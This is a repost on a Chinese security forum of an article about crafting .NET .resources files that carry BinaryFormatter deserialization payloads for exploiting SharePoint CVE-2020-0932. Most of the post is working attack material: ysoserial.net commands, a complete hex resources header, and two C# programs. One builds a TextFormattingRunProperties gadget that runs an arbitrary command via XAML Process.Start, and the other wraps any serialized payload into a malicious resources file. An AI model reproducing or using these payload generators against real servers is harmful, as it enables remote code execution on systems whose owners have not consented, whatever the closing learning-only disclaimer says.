安全矩阵

 找回密码
 立即注册
搜索
查看: 4028|回复: 0

Resources反序列化相关问题

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-8-27 20:04:40 | 显示全部楼层 |阅读模式
本帖最后由 Xor0ne 于 2020-8-27 20:06 编辑

Resources反序列化相关问题

原创:404安全
来自公众号:Secquan圈子社区
原文链接:https://mp.weixin.qq.com/s?__biz=Mzg5MTA3NTg2MA==&mid=2247485112&idx=1&sn=352252d051871a6712f0b7d5f208e427&chksm=cfd3aac3f8a423d532212673e14e9a1793262ab671955595f9e7a53cd5e76296524b93ec9523&mpshare=1&scene=23&srcid=0824B9FAsmkhOH0UueDiXHkM&sharer_sharetime=1598277273603&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd


0x00 事因
在研究CVE-2020-0932[1]过程中,Payload使用的是ysoserial.net[2]中的TypeConfuseDelegate gadget 然后编译成resources。在进一步尝试中发现TextFormattingRunProperties等 gadget 会因为执行完Payload报错程序终止等错误,并不能直接生成resources或者RESX编译成resources。
  1. ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc" -o base64
复制代码




Google 无果后请教@zcgonvh师傅后感觉最直接的解决办法是:
1.根据Resources格式自己构造
2.根据ResourceSetGenerator[3]修改



0x01 ResourceSetGenerator
整个源码看来比较像是作者构造的Resource格式然后
bfSerializedObj = AdvancedBinaryFormatterParser.JsonToStream(payload).ToArray();
  1. * // This is how ResourceSet can be used directly but the payload would fire!
  2.             object generatedPayload = TypeConfuseDelegateGenerator.TypeConfuseDelegateGadget(inputArgs);

  3.             using (ResourceWriter rw = new ResourceWriter(@".\ResourceSetGenerator.resources"))
  4.             {
  5.                 rw.AddResource("", generatedPayload);
  6.                 rw.Generate();
  7.                 rw.Close();
  8.             }

  9.             // Payload will be executed once here which is annoying but without surgical insertion or something to parse binaryformatter objects, it is quite hard to prevent this
  10.             ResourceSet myResourceSet = new ResourceSet(@".\ResourceSetGenerator.resources");

  11.             // TextFormattingRunPropertiesGenerator is the preferred method due to its short length. However, we need to insert it manually into a serialized object as ResourceSet cannot tolerate it

  12.             //*/
复制代码


通过注释内容确实是成功生成ResourceSetGenerator.resources 但是通过ResourceSet无法触发成功。在这里徘徊了很久放弃了直接生成这条路。
0x02 修改二进制文件
这里我也去TW问了ResourceSetGenerator[4]的作者@irsdl,他给我的答复也是这个是可行的。



我尝试查阅resources格式之类的文档,但是没有收获,然后只能自己看看.net的源码,生成resources的相关文件是ResourceWriter[5]通过源码可以分析出来(猜),Generate()函数包含整个resources构造的过程。
由于.net 框架源码有很人性的注释,大概可以看懂每一步在干什么。

  1. // Write out the ResourceManager header
  2. // Write out magic number
  3. bw.Write(ResourceManager.MagicNumber);  //写入resources标识头 (0xBEEFCACE)
  4. // Write out ResourceManager header version number
  5. bw.Write(ResourceManager.HeaderVersionNumber);  //写入Header版本 (01)

  6. ...
复制代码


由于基本功弱还是动态调试.net源码分析了一下过程,整个结构大概如下:

  1. CECAEFBE 标识头//0xBEEFCACE
  2. 01 ResourceManager头版本
  3. 00000091 ResMgr header总字节数
  4. 0000006C ResMgr header 长度
  5. 53797374656D2E5265736F75726365732E5265736F757263655265616465722C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F75726365732E52756E74696D655265736F75726365536574  //ResMgr
  6. 02 版本//File format version number
  7. 00000001 //resources数量
  8. 00000001 //type数量
  9. 00000050 //typeNames 长度
  10. 446F6E6F72436F6C756D6E732C20436F6E736F6C65417070332C2056657273696F6E3D312E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6E756C6C //typeNames
  11. 504144504144  //pad填充
  12. 8500950D  //hash
  13. 00000000   //pos
  14. 1B010000   //start Of DataSection
  15. 0A5400690074006C00650000000000  //name Section
  16. 400001000000FFFFFFFF01000000000000000C0200000042436F6E736F6C65417070332C2056657273696F6E3D312E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6E756C6C05010000000C446F6E6F72436F6C756D6E7305000000024944044E616D6505546F74616C044C61737403416D74010101010102000000060300000009456D706C79656520230604000000044E616D6506050000000C546F74616C20416D6F756E740606000000124C61737420446F6E6174696F6E20446174650607000000144C61737420446F6E6174696F6E20416D6F756E740B   //data section
复制代码


差多知道结构了,我们只需要用TypeConfuseDelegate gadget 然后编译成resources 然后替换data section就可以了。
注:这里从data section的40开始替换


0x03 验证
下载ysoserial.net[6] 编译
  1. ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc" -o raw >111.bin
复制代码


转hex填充到后面,然后hex转bin

  1. CECAEFBE01000000910000006C53797374656D2E5265736F75726365732E5265736F757263655265616465722C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F75726365732E52756E74696D655265736F75726365536574020000000100000001000000CF0153797374656D2E436F6C6C656374696F6E732E47656E657269632E536F7274656453657460315B5B53797374656D2E537472696E672C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395D5D2C2053797374656D2C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395041445041447B5645BF00000000BF0100002E420069006E0061007200790046006F0072006D00610074007400650072005F005000610079006C006F00610064000000000040
复制代码


或者使用懒人版本
CODE -TextFormattingRunProperties


  1. using System;
  2. using System.IO;
  3. using System.Linq;
  4. using System.Runtime.Serialization;
  5. using System.Runtime.Serialization.Formatters.Binary;

  6. namespace ConsoleApp1
  7. {
  8.     class Program
  9.     {
  10.         static void Main(string[] args)
  11.         {
  12.             byte[] Resources_bin;
  13.             string cmd = "calc";
  14.             string payload = @"<ResourceDictionary
  15.   xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
  16.   xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
  17.   xmlns:System=""clr-namespace:System;assembly=mscorlib""
  18.   xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system"">
  19.         <ObjectDataProvider x:Key=""LaunchCalc"" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" >
  20.      <ObjectDataProvider.MethodParameters>
  21.         <System:String>cmd</System:String>
  22.         <System:String>/c """ + cmd + @""" </System:String>
  23.      </ObjectDataProvider.MethodParameters>
  24.     </ObjectDataProvider>
  25. </ResourceDictionary>";
  26.             string Resources_header = "CECAEFBE01000000910000006C53797374656D2E5265736F75726365732E5265736F757263655265616465722" +
  27.                                       "C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C" +
  28.                                       "205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F7" +
  29.                                       "5726365732E52756E74696D655265736F75726365536574020000000100000001000000CF0153797374656D2E" +
  30.                                       "436F6C6C656374696F6E732E47656E657269632E536F7274656453657460315B5B53797374656D2E537472696" +
  31.                                       "E672C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E6575747261" +
  32.                                       "6C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395D5D2C2053797374656D2" +
  33.                                       "C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579" +
  34.                                       "546F6B656E3D623737613563353631393334653038395041445041447B5645BF00000000BF0100002E4200690" +
  35.                                       "06E0061007200790046006F0072006D00610074007400650072005F005000610079006C006F00610064000000" +
  36.                                       "000040";

  37.             Object obj = new TextFormattingRunPropertiesMarshal(payload);
  38.             BinaryFormatter fmt = new BinaryFormatter();
  39.             MemoryStream ms = new MemoryStream();
  40.             fmt.Serialize(ms, obj);
  41.             ms.Position = 0;
  42.             string TextFormattingRunPropertiesString = string.Concat(ms.GetBuffer().Select(b => b.ToString("X2")).ToArray());
  43.             ms.Close();
  44.             Resources_bin = HexToByte(Resources_header + TextFormattingRunPropertiesString);
  45.             File.WriteAllBytes("111.resources", Resources_bin);

  46.         }

  47.         public static byte[] HexToByte(string hex)
  48.         {
  49.             return Enumerable.Range(0, hex.Length)
  50.                              .Where(x => x % 2 == 0)
  51.                              .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
  52.                              .ToArray();
  53.         }

  54.         [Serializable]
  55.         public class TextFormattingRunPropertiesMarshal : ISerializable
  56. {
  57.             string _xaml;
  58.             public void GetObjectData(SerializationInfo info, StreamingContext context)
  59.             {
  60.                 Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
  61.                 info.SetType(t);
  62.                 info.AddValue("ForegroundBrush", _xaml);
  63.             }
  64.             public TextFormattingRunPropertiesMarshal(string xaml)
  65.             {
  66.                 _xaml = xaml;
  67.             }
  68.         }
  69.     }
  70. }
复制代码




这个payload就可以用于验证回显之类的了
通用替换

  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Text;
  6. using System.Threading.Tasks;

  7. namespace test
  8. {
  9.     class Program
  10.     {
  11.         static void Main(string[] args)
  12.         {
  13.             if (args.Length != 1)
  14.             {
  15.                 Console.WriteLine("Please provide necessary information:");
  16.                 Console.WriteLine("ResourcesPayload.exe <file>");
  17.                 Console.WriteLine("Example: ResourcesPayload.exe c;\\1.bin");
  18.                 return;
  19.             }

  20.             string file = args[0];

  21.             byte[] ResourcesDataSection;
  22.             string Resources_header = "CECAEFBE01000000910000006C53797374656D2E5265736F75726365732E5265736F757263655265616465722" +
  23.                           "C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C" +
  24.                           "205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F7" +
  25.                           "5726365732E52756E74696D655265736F75726365536574020000000100000001000000CF0153797374656D2E" +
  26.                           "436F6C6C656374696F6E732E47656E657269632E536F7274656453657460315B5B53797374656D2E537472696" +
  27.                           "E672C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E6575747261" +
  28.                           "6C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395D5D2C2053797374656D2" +
  29.                           "C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579" +
  30.                           "546F6B656E3D623737613563353631393334653038395041445041447B5645BF00000000BF0100002E4200690" +
  31.                           "06E0061007200790046006F0072006D00610074007400650072005F005000610079006C006F00610064000000" +
  32.                           "000040";

  33.             FileStream fs = new FileStream(file, FileMode.Open);
  34.             byte[] TextFormattingRunPropertiesString = new byte[fs.Length];
  35.             fs.Read(TextFormattingRunPropertiesString, 0, TextFormattingRunPropertiesString.Length);
  36.             ResourcesDataSection = HexToByte(Resources_header);
  37.             byte[] Resources_new = new byte[TextFormattingRunPropertiesString.Length + ResourcesDataSection.Length];
  38.             ResourcesDataSection.CopyTo(Resources_new, 0);
  39.             TextFormattingRunPropertiesString.CopyTo(Resources_new, ResourcesDataSection.Length);
  40.             System.IO.File.WriteAllBytes("payload.resources", Resources_new);
  41.             fs.Close();
  42.         }

  43.         public static byte[] HexToByte(string hex)
  44.         {
  45.             return Enumerable.Range(0, hex.Length)
  46.                              .Where(x => x % 2 == 0)
  47.                              .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
  48.                              .ToArray();
  49.         }
  50.     }
  51. }
复制代码



0x04 CVE-2020-0932


然后配合 ActivitySurrogateSelectorGenerator 就可以解决CVE-2020-0932的回显问题。


0x05 结尾
用了几天时间解决这个问题,感觉自己的基础水平还是太弱了=。=
相关源码已上传GitHub:https://github.com/aleenzz/ResourcesPayload
参考:
[1] http://www.zcgonvh.com/post/weap ... _vulnerability.html (CVE-2020-0688的武器化与.net反序列化漏洞那些事)
[2] https://referencesource.microsof ... s/resourcewriter.cs
[3] https://www.zerodayinitiative.co ... sing-typeconverters(CVE-2020-0932[7] SHAREPOINT远程代码执行漏洞 )
[4] https://www.anquanke.com/post/id/154049 (对ASP.NET资源文件(.RESX)及反序列化漏洞的研究)

由于太忙很久没发文章 =。= ,最后圈子牛逼!!!

References

写在结尾

文章来自圈子社区成员404的精品文章,特此感谢404的分享输出。如有意投稿请于公众号留言。
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:39 , Processed in 0.013277 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表